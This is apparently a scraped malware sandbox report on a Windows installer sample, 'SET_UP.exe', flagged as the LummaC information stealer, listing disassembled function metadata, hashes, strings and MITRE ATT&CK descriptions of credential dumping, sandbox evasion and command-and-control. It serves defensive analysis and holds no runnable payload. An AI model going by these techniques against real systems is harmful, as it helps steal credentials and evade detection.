Part of subcall function 000D3B10: QueryPerformanceFrequency.KERNEL32(0014B8B0), ref: 000D3BCF
Part of subcall function 000D3B10: QueryPerformanceCounter.KERNEL32(0014B8B8), ref: 000D3BDA
Part of subcall function 000D3B10: CLSIDFromString.OLE32(00000000,00000000), ref: 000D3C46
Part of subcall function 000D3B10: SysFreeString.OLEAUT32(00000000), ref: 000D3F81

GetActiveWindow.USER32 ref: 000D1482

Strings

', xrefs: 000D14D9
- , xrefs: 000D13A0

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: PerformanceQueryString$ActiveCounterCurrentFreeFrequencyFromThreadWindow
String ID: - $'
API String ID: 1071213189-957660631
Opcode ID: 80b89f03ebddf3e551e41797685917429191958028711d3c9f97b447ea7ef6f5
Instruction ID: 511b064db3ca93fb62dd5ab7f200b86582f7b9d5c8f84aba5f02fc49f8db8fda
Opcode Fuzzy Hash: 80b89f03ebddf3e551e41797685917429191958028711d3c9f97b447ea7ef6f5
Instruction Fuzzy Hash: 0891B130A01A45EFDB55DB28C858BADB7F1AF42320F148299E019873E2DF349D80CF61

Function 000F233D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 000F23CD

Strings

pow, xrefs: 000F23A5, 000F23C2

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 1b482a3ea73264c307ef9c345df54a3eca5b3669a4da7ff81c045b8c1ea19f67
Instruction ID: a632d144c1fdc2779efbcd2ab2cf473827b821b4f1cc493c93ef9add10b2d0e2
Opcode Fuzzy Hash: 1b482a3ea73264c307ef9c345df54a3eca5b3669a4da7ff81c045b8c1ea19f67
Instruction Fuzzy Hash: 03517DB1A0810DA6CB21BB14CD423BE3BD4EB50740F244958E7D542EEADB788DD5BE47

Function 0008F670 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 149COMMON

Download Yara Rule

Strings

\\?\UNC\, xrefs: 0008F743, 0008F79E
\\?\, xrefs: 0008F7B3, 0008F7E0

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID:
String ID: \\?\$\\?\UNC\
API String ID: 0-3019864461
Opcode ID: be00c775ddee4d8b7a8fc39464a44a586dbf9cbe70fd70c79dd3a4f41ac670ad
Instruction ID: dffcdb8f586b81995778ddee3f8c11f24cf0778a0116a65fc0ca77a87c92e54a
Opcode Fuzzy Hash: be00c775ddee4d8b7a8fc39464a44a586dbf9cbe70fd70c79dd3a4f41ac670ad
Instruction Fuzzy Hash: 2E51D270A00205DBEB14EF64D985BEEB7F5FF44314F10812DE841B7291EBB5A988CB90

Function 00098480 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,0CE81EE3,?), ref: 000984BF
CreateDirectoryW.KERNEL32(?,00000000), ref: 00098520

Strings

ADVINST_LOGS, xrefs: 000984F8

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CreateDirectoryPathTemp
String ID: ADVINST_LOGS
API String ID: 2885754953-2492584244
Opcode ID: 52d6cb01e8c91cf63be0d8244cd4e71e70dd55b17a3c5f608a1aa7062a30b4ae
Instruction ID: 61e34011815c68a290ec48346b7b9c7860ea776d6cc84f01489c6ebe7e6e6f00
Opcode Fuzzy Hash: 52d6cb01e8c91cf63be0d8244cd4e71e70dd55b17a3c5f608a1aa7062a30b4ae
Instruction Fuzzy Hash: 5D51BE75940619CACFB09F28C8447BAB3F4FF15314F2586AEE84997291EF348E85DB90

Function 000EAD54 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 000EAD79

Strings

MOC, xrefs: 000EAD8B
RCC, xrefs: 000EAD93

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: b283d629ca540896ab0cdb1db3bc0e2b970d2bc2f3077c7a875a838a6211fd93
Instruction ID: 041a3667a1f8226757f38b468ebb7de8129d8c6958c236a521ec985d3179b4ab
Opcode Fuzzy Hash: b283d629ca540896ab0cdb1db3bc0e2b970d2bc2f3077c7a875a838a6211fd93
Instruction Fuzzy Hash: 7041A931A00249AFCF15CF95CC81AEEBBB5FF49300F198069F90477222D335A950DB62

Function 000B8730 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 000B8820
PostMessageW.USER32(00000000,00000471,00000002,00000000), ref: 000B8830

Strings

AutoUpdatePolicy, xrefs: 000B87BB, 000B87CB

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: MessageParentPost
String ID: AutoUpdatePolicy
API String ID: 3400216365-4250888325
Opcode ID: 6814dd76b096e77b7acd84101c374d2c1cfb1d12245ad9a47a61d330ac869f44
Instruction ID: 561127b9c8c0ddbe79db52b60f4a6930405c1c1c2e1df563fe6a6fea5802aaab
Opcode Fuzzy Hash: 6814dd76b096e77b7acd84101c374d2c1cfb1d12245ad9a47a61d330ac869f44
Instruction Fuzzy Hash: 9B31A135640605ABE710DF68CC45BE9B7E8EF08720F50C229B9299B6E1DF74A901CB54

Function 000A3790 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 000A3C00: EnterCriticalSection.KERNEL32(0014B390,0CE81EE3,?,?), ref: 000A3C76
Part of subcall function 000A3C00: GetClassInfoExW.USER32(00000000,?,?), ref: 000A3CAD
Part of subcall function 000A3C00: GetClassInfoExW.USER32(?,00000030), ref: 000A3CC4
Part of subcall function 000A3C00: LeaveCriticalSection.KERNEL32(0014B390,?,?), ref: 000A3CDA

CreateWindowExW.USER32(?,?,00000000,?,?,80000000,00000000,00000000,?,?,00000000,?), ref: 000A3865

Part of subcall function 000E5EAB: GetProcessHeap.KERNEL32(00000008,00000008,?,000A37EA,?,000A3625,?,56200804,00000000), ref: 000E5EB0
Part of subcall function 000E5EAB: HeapAlloc.KERNEL32(00000000), ref: 000E5EB7

SetLastError.KERNEL32(0000000E,?,000A3625,?,56200804,00000000), ref: 000A37F3

Strings

RichEdit20W, xrefs: 000A3796

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ClassCriticalHeapInfoSection$AllocCreateEnterErrorLastLeaveProcessWindow
String ID: RichEdit20W
API String ID: 1525484026-4173859555
Opcode ID: 646fcea0af0f1d4e47cf638f62d5de4c4773b3500312aa4cdce675a5558181d0
Instruction ID: d7d81e08d33ec2a3bf81af2f4983c27482af3531f5ec40e6e53f6f143e59d0f4
Opcode Fuzzy Hash: 646fcea0af0f1d4e47cf638f62d5de4c4773b3500312aa4cdce675a5558181d0
Instruction Fuzzy Hash: CB218E72304304AFD7149FA9EC84FA7BBEDEBD5725F11852AF805D7262DB60DD0086A1

Function 000ACF70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37fileCOMMON

Download Yara Rule

APIs

Part of subcall function 000C6460: WritePrivateProfileStringW.KERNEL32(000000E0,?,?,0CE81EE3), ref: 000C63C7

DeleteFileW.KERNEL32(?,?,.dat,ClientConfigPath,-0000008C,0CE81EE3,?,000000E0,00000000,?,?,?,?,0CE81EE3,00000000), ref: 000ACFCF

Part of subcall function 000E4360: CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000004,00000080,00000000,000000E0,0CE81EE3), ref: 000E43E4
Part of subcall function 000E4360: GetLastError.KERNEL32 ref: 000E43FF
Part of subcall function 000E4360: CloseHandle.KERNEL32(00000000), ref: 000E444B

Strings

ClientConfigPath, xrefs: 000ACFA9
.dat, xrefs: 000ACFB5

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: File$CloseCreateDeleteErrorHandleLastPrivateProfileStringWrite
String ID: .dat$ClientConfigPath
API String ID: 1977886162-2898699670
Opcode ID: 42f4b9a7b68bd4a75e109bfafa3a33bdb1d367c23ddcc7ac2e2932766554a660
Instruction ID: 455c18057a3c005c5c17f9380661cdbffce388c6e8e4bfdaccf2b92c7b4e8397
Opcode Fuzzy Hash: 42f4b9a7b68bd4a75e109bfafa3a33bdb1d367c23ddcc7ac2e2932766554a660
Instruction Fuzzy Hash: D7F03C74A00219EBDB10EF64DD82FAFBBBCEB08714F004529B515E76D2C774A9048BA4

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SET_UP.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
SET_UP.exe

Function 000773D0 Relevance: 4.2, APIs: 2, Instructions: 1199
librarymemoryloaderCOMMON

Function 00078150 Relevance: 1.6, APIs: 1, Instructions: 313
memoryCOMMONLIBRARYCODE

Function 000781F0 Relevance: 1.4, APIs: 1, Instructions: 100
memoryCOMMON

Function 00078410 Relevance: .1, Instructions: 128
COMMON

Function 000B5660 Relevance: 48.6, APIs: 32, Instructions: 628
windowCOMMON

Function 00097730 Relevance: 44.3, APIs: 16, Strings: 9, Instructions: 505
fileCOMMON

Function 00089280 Relevance: 43.9, APIs: 29, Instructions: 424
windowCOMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre